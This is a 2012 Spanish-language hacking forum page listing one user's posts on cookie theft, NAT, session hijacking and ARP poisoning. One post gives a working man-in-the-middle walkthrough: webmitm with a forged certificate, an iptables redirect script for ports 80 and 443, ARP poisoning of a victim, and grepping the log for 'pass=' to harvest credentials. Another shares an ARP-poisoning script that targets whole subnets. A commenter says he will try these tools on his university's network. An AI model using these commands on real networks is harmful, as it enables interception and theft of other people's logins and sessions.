Bienvenido(a), Visitante. Por favor, ingresa o regístrate.
Cargando

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - Larry

Páginas: [1] 2 3 4
1
Videotutoriales / Re:explicacion del robo de cookies
« en: Marzo 14, 2012, 03:53:04 am »
Buen video y un enorme aportazo, este metodo se parece mucho a uno para robar la contraseña de las redes wpa2 y wpa, por lo tanto pregunto ¿este es un metodo de fuerza  bruta?.

 Segundo si es cierto que facebook usa https pero el unico navegador que lo activa por defecto hasta donde se es el google crome, el internet explorer tambien pero presenta un error que a la hora de entrar en algunos casos da una pantalla blanca y mucha gente lo que hace es quitar la "s" y dejarlo "http" solamente (gran parte de los usuarios usa internet explorer ). Lo mismo ocurre con el hotmail y gmail, Tambien lei que el protocolo https presenta una vulnerabilidad que se usa para hacer ataques. ¿si alguien sabe sobre el tema podria explicarme como se hace esos ataques?.
 
 y por ultimo esta es una herramienta que si bien solo funciona en redes lan es muy util ya la probare con las de mi universidad a ver que tal.

 Gracias por el aporte y no hagas caso a criticas sin sentido yo se que ese video no es un fake debido a que esa herramienta se parece mucho al tipo de ataque que una vez use para saber la contraseña de una red wpa2 y en si muchas de estas herramientas de backtrack son simples de usar con practica.


No, me parece que con lo de WPA te estás confundiendo... De que método hablas?

No hay nada de fuerza bruta. Una cookie no es más que un conjunto de caracteres que define una sesión con un servidor web. Cada vez que te logueas a Facebook por ejemplo, los servidores de Facebook envían una cookie a tu explorador que la debe guardar en algún lado.

La próxima vez que ponés la URL de facebook en el explorador entrás directamente a tu sesión sin poner la contraseña (no mucho más tarde, sino la sesión puede "expirar")... El problema acá es que un atacante está robando ese conjunto de caracteres (cookie) y lo está usando para acceder a la sesión de la víctima (si poner ninguna contraseña).

Más o menos asi funciona... Falta el detalle de como uno tiene que lidiar con las cookies de cada sitio.

2
Videotutoriales / Re:explicacion del robo de cookies
« en: Marzo 14, 2012, 03:28:06 am »
no he visto el video, pero la polemica anterior no fue por que no hayas explicado ni la calidad del video etc o criticarte, solo fue por que el video era falso con el fin de confundir mas a los users, si hubiera sido un tutorial para niños con verdadera informacion o a menos que tu lo creas que sea cierto y no lo sea te hubiera "aplaudido", pero lo hicistes intencionalmente.

solo digo que se que el video anterior lo trucastes no hablare más.

Puede que sea un fake o no, ya que como facebook tiene,como dijo muy bien larry, https por lo cual las cokies viajan cifradas y no en texto plano. Entonces puede que si o que no, el punto esta en como te expresaste (un poco agresivo me parece). Las cosas siempre se pueden decir de varios modos,pero bueno todos somos humanos y aveces nos dejamos llevar por nuestros instintos xD

Ojo que Facebook, por default, sólo usa HTTPS para la fase de autentificación... Una vez que te logueas con tu usuario y contraseña la sesión es HTTP y las cookies se pasan en texto plano. Para evitar eso hay que configurar en las opciones de facebook que la conexión sea siempre HTTPS (no sólo en la autentificación). Dependiendo de como uno tiene la configuración en facebook esto puede funcionar o no.

Saludos!

3
Videotutoriales / Re:explicacion del robo de cookies
« en: Marzo 14, 2012, 01:59:43 am »
Buen tutorial ruben , gracias , quisiera saber de que manera podriamos evitar el robo de las cookies ? Saludos!

Usando HTTPS, para que los datos viajen cifrados y un atacante no pueda "ver" las cookies en texto plano.

Firesheep es un "add-on" para firefox que roba las cookies y automatiza el procedimiento que rubén mostró en el video:

http://codebutler.github.com/firesheep/

http://en.wikipedia.org/wiki/Firesheep

Para usar HTTPS siempre, existe "HTTPS everywhere" :-)

https://www.eff.org/https-everywhere

4
Dudas Generales / Re:WTF. Misma ip en dos maquinas XD
« en: Febrero 25, 2012, 01:58:35 am »

Edito: Ya encontre en un foro un problema similar. Las computadoras que comparten un mismo router tambien compraten la IP. Ahora la pregunta de antes sigue siendo la misma, como identifico entonces las maquinas en un ciber entrando desde internet de afuera del ciber?

Las ips privadas son solo para usar dentro de la red verdad? Entonces, si yo por ejemplo estoy en mi casa, y quiero hacer un analisis a una computadora de EE.UU que esta conectada a un router junto con 20 maquinas mas. Como diferencio ESA computadora de las otras 20 a la hora de hacer analisis con SSS?

El router hace algo que se llama NAT (Network Address Translation). Con una leída al tema te vas a dar cuenta cómo hace el router para distinguir entre las máquinas de una red interna.

En principio, el router actúa como un firewall. Es decir, desde Internet no podés acceder a ninguna máquina que se encuentre dentro de una red interna. No hay forma de distinguir entre ellas, porque hacia afuera "toda la red interna" es cómo una máquina. El trabajo del NAT en el router es que eso sea asi...

Por otro lado, el router puede tener "puertos mapeados". Es decir, cuando te conectas a un determinado puerto (el 22 por ejemplo) a una IP pública que es un router, puede ocurrir que el tráfico de ese puerto sea redirigido a una IP interna. Aún en ese caso, en principio, no se puede saber a cuál de las IPs internas está siendo redirigido el tráfico (desde afuera).

5
Redes (WAN, LAN, MAN, CAM, ...) / Re:ARP Poison + Scapy
« en: Febrero 20, 2012, 08:32:08 pm »
Muy bueno larry ;)
Por cierto veo que a ti tampoco te va POO en python xD

Un saludo!

Jajajaja, bien a lo bruto. La POO la hago en C++.

Muchos me dijeron que python es mejor para muchas cosas, pero por falta de tiempo nunca pude agarrar un libro y aprender POO en serio con python :-(. Además para lo único que lo usé fue para Scapy jeje.

Es un lenguaje que tengo pendiente estudiar en profundidad.


6
Que estés virtualizando no debería ser un problema... Podrías usar el wireshark u otro sniffer y capturar sólo las peticiones ARP y ver que está pasando. Prueba con este script que acabo de postear:

http://www.hackxcrack.es/forum/index.php?topic=9652.0

Por otro lado, con el tema de los puertos creo que te estás confundiendo o no estoy entendiendo bien lo que decis... El puerto aleatorio lo elige el Sistema Operativo y es el puerto de origen, no el de destino. HTTP siempre funciona (por default) con puerto de destino 80.

Si lo que quieres es hacer lo mismo de la revista pero en una red donde no se use proxy para salir a internet (una LAN casera por ejemplo) eso se puede hacer con webmitm (de la suite dsniff). NO estoy seguro si con el Paros se pueda hacer algo similar...

Lo que te voy a decir lo acabo de probar y funciona :-). Las IPs son:

Mi IP (atacante): 192.168.1.3
Víctima:               192.168.1.2
Router:                 192.168.1.1

1) Primero pones en marcha el webmitm (sudo apt-get install dsniff), pones los datos para el certificado, etc... Eso te debería crear un archivo webmitm.crt en el directorio local.

El siguiente comando va a guardar todo el tráfico en el archivo <log.webmitm>.

Código: [Seleccionar]
$ sudo webmitm  -ddd 2>&1 | tee log.webmitm
[sudo] password for larry:
Generating RSA private key, 1024 bit long modulus
.++++++
.....++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:AR
State or Province Name (full name) [Some-State]:HxC
Locality Name (eg, city) []:Hxc
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HxC
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Signature ok
subject=/C=AR/ST=HxC/L=Hxc/O=HxC
Getting Private key
webmitm: certificate generated
webmitm: relaying transparently


Esto dejalo andando en una consola aparte y no lo cierres. Si ahora te escaneas los puertos, vas a ver que tenés el 80 y el 443 abiertos, que es el webmitm...

Código: [Seleccionar]
$ nmap 192.168.1.3

Starting Nmap 5.21 ( http://nmap.org ) at 2012-02-20 14:18 WARST
Nmap scan report for LARRY-Qosmio (192.168.1.3)
Host is up (0.00034s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http                <<<<------
111/tcp open  rpcbind
443/tcp open  https             <<<<------

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

2) Creas un script de iptables con los siguientes comandos, y lo ejecutas (como root o con sudo).

Código: [Seleccionar]
#/bin/bash

IFACE="wlan0"

echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$IFACE/send_redirects

iptables --flush
iptables --zero
iptables --delete-chain
iptables -F -t nat

iptables --append FORWARD --in-interface $IFACE --jump ACCEPT

iptables --table nat --append POSTROUTING --out-interface $IFACE --jump MASQUERADE

SERVERWEB='192.168.1.3'

iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination $SERVERWEB
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination $SERVERWEB

Lo que estás haciendo es mandar todo el tráfico que llega a tu máquina a los puertos 80 y 443 (donde escucha el webmitm) que es un proxy.

3) Empezas a hacer ARPPoison, por ejemplo con el script que posteé acá: http://www.hackxcrack.es/forum/index.php?topic=9652.0 o con cualquier otro programa que te guste.

Código: [Seleccionar]
$ sudo ./arp_poison.py -t 192.168.1.1 -v 192.168.1.2 -i wlan0
WARNING: No route found for IPv6 destination :: (no default route?)

TARGET: IP = 192.168.1.1 MAC = 00:02:cf:*:*:*

VICTIM: IP =192.168.1.2 MAC = 00:22:69:*:*:*

Enviando RESPUESTAS ARP falsas...

Una vez que hiciste estas tres cosas, todo el tráfico que van a los puertos 80 y 443 que salen de 192.168.1.2 se van a conectar directamente al webmitm que está andando en tu máquina. Luego, el webmitm se va a encargar de conectarse a los hosts correspondientes (es un hombre-en-el-medio WEB, por eso el nombre, webmitm :-p) incluyendo las conexiones seguras (por eso el certificado).

4) Cuando 192.168.1.2 empieza a navegar y entre a una página con conexión segura, probablemente obtenga el famoso error de certificado no válido. Si aún viendo eso continúa con la conexión su nombre de usuario y contraseñas vas a quedar guardadas en TEXTO PLANO en el archivo log.webmitm.

La forma en que queda guardado el password y logname va a depender de la página a la cual 192.168.1.2 se conecte. No es lo mismo si va a facebook a gmail o a otra web. Por lo tanto, yo abriría el archivo log.webname con el "vim" y buscaría strings como "pass", "login", "secret", "key", etc. O si sabes el nombre de usuario del que quieres saber la contraseña mejor :-).

Como muchos caracteres que quedan guardados no son ascii, muchos editores van a "pensar" que el archivo es un binario y capaz no lo abran correctamente (el vim si lo abre correctamente). También se puede filtrar strings con el "grep" pero usando la opción "-a". Por ejemplo,

Código: [Seleccionar]
$ cat log.webmitm | grep -a "pass="

Analizar ese archivo no es tan amigable como usar el Paros, pero bueno... Es lo que hay!

Saludos.


7
Redes (WAN, LAN, MAN, CAM, ...) / ARP Poison + Scapy
« en: Febrero 20, 2012, 06:05:35 pm »
Hola a todos, aqui comparto un script un poco más elaborado que el de la revista que realiza ARP Poison que utiliza Scapy. Está extensivamente comentado como para que pueda ser modificado a gusto.

Script: http://www.mediafire.com/?du19nvsbhhf44dd

Si lo ejecutan sin argumentos, se imprime una ayuda. Acepta argumentos desde la línea de comandos y se pueden envenenar "redes" de hosts utilizando "wildcards". Por ejemplo, ejecutando,

Código: [Seleccionar]
sudo ../arp_poison.py --target 192.168.1.1 --victim 192.168.1.* -i wlan0

o

Código: [Seleccionar]
sudo ../arp_poison.py --target 192.168.1.1 --victim 192.168.1.0/24 -i wlan0

uno logra ubicarse en el segmento de red entre el target (192.168.1.1, normalmente el router) y todos los hosts de la red interna.

Cualquier duda o bug es bienvenido en el foro.

Saludos!

8
Con el proxy en el medio todos los paquetes HTTP van al puerto 3128. Lo que haces, con el script de IPTABLES, es redirigir todos los paquetes  que van a dicho puerto al 3128 del ParosProxy que tenés en tu máquina.

En caso que no haya un proxy de por medio es distinto. Los paquetes HTTP salen por el puerto 80 y las conexiones HTTPS por el puerto 443. Además, el explorador de la víctima no está configurado para conectarse a un proxy, con lo cual no se si podrías lograr que se conecte al Paros que tenés en tu máquina.

Lo que deberías probar es abrir dos instancias del ParosProxy (una que escuche en el 80 y otra en el 443) con gksudo (ya que necesitas permisos de root para abrir esos puertos). Y con IPTABLES rediriges todo el tráfico de con puerto de destino 80 y 443 que llegan a tu máquina al Paros.

9
Python / Re:Ayuda con script de hackxcrack
« en: Febrero 15, 2012, 02:28:40 am »
Probá reemplazar la línea:

> from scapy import *

por

> from scapy.all import *

Saludos!

10
Hacking / Re:[TOR Browser] Anonimato sin instalar nada..
« en: Enero 14, 2012, 06:03:12 pm »
TOR ofrece anonimato y nada más... Y lo hace bastante bien. Sugiero que lean el siguiente artículo, que lo explica bastante bien :-)

http://www.set-ezine.org/index.php?num=36&art=3#top

Saludos!

11
Dudas Generales / Re:Duda con netcat
« en: Agosto 13, 2011, 07:41:30 pm »
Citar
A un no entiendo que es (NAT) ???? disculpa la ignorancia.....

Es lo primero que debería estudiar para poder conectar dos máquinas a través de internet... Te recomiendo los cuadernos antiguos, en uno de ellos la explican bastante bien.

Saludos.

12
Aquí: http://nemesis.sourceforge.net/

Te recomiendo que le des una mirada al programa "hping2" que, en mi opinión, es mejor que el nemesis :). O sino dale una mirada a "Scapy" que te permite personalizar mucho más los paquetes.

Saludos.

13
Redes (WAN, LAN, MAN, CAM, ...) / Re:Duda con Arpspoofing + Hijacking
« en: Julio 28, 2011, 12:34:32 am »
Por default tu computadora no redirige los paquetes. Es más fácil hacer hijacking de esa forma, pero la desventaja es que se cortarán todas las conexiones de la víctima en el momento que empieces a hacer arpspoofing, lo cual es muy sospechoso.

La idea del hijacking es que que puedas hacer un "by-pass" a la autentificación de la víctima, por lo que inicialmente deberías redirigir (y sniffar) todo el tráfico que pasa por tu máquina hasta que veas que la víctima pasó la etapa de autentificación. Después, si querés, podés cortar la redirección de paquetes y quedarte con la conexión.

Para hacerlo más fino deberías usar IPTABLES.

Saludos!

14
Hacking Wireless / Re:Inyeccion '1=1 en Wireless?
« en: Julio 20, 2011, 06:06:11 am »
Jaja a los argentinos se nos distingue fácil por la forma de escribir. Lo cierro yo al tema, y si podés editá el título del post como "solucionado".

Saludos!

15
Hacking Wireless / Re:Inyeccion '1=1 en Wireless?
« en: Julio 19, 2011, 03:50:14 am »
Citar
Siempre es un placer encontrarse con gente que sabe como funcionan las cosas en profundidad.Ya conocia el metodo Chop-chop

Igualmente :-). Soy de Argentina! Espero que sigamos aportando al foro con discusiones sobre el funcionamiento en profundidad de las cosas.

Saludos!

Páginas: [1] 2 3 4